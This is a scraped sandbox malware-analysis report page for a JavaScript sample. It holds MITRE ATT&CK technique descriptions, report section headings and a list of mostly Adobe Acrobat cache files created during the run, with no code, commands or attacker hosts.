Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 193581927228935729.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e21ce814-a7ab-4de5-8937-f693b4c69906.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6188

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6188

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
193581927228935729.js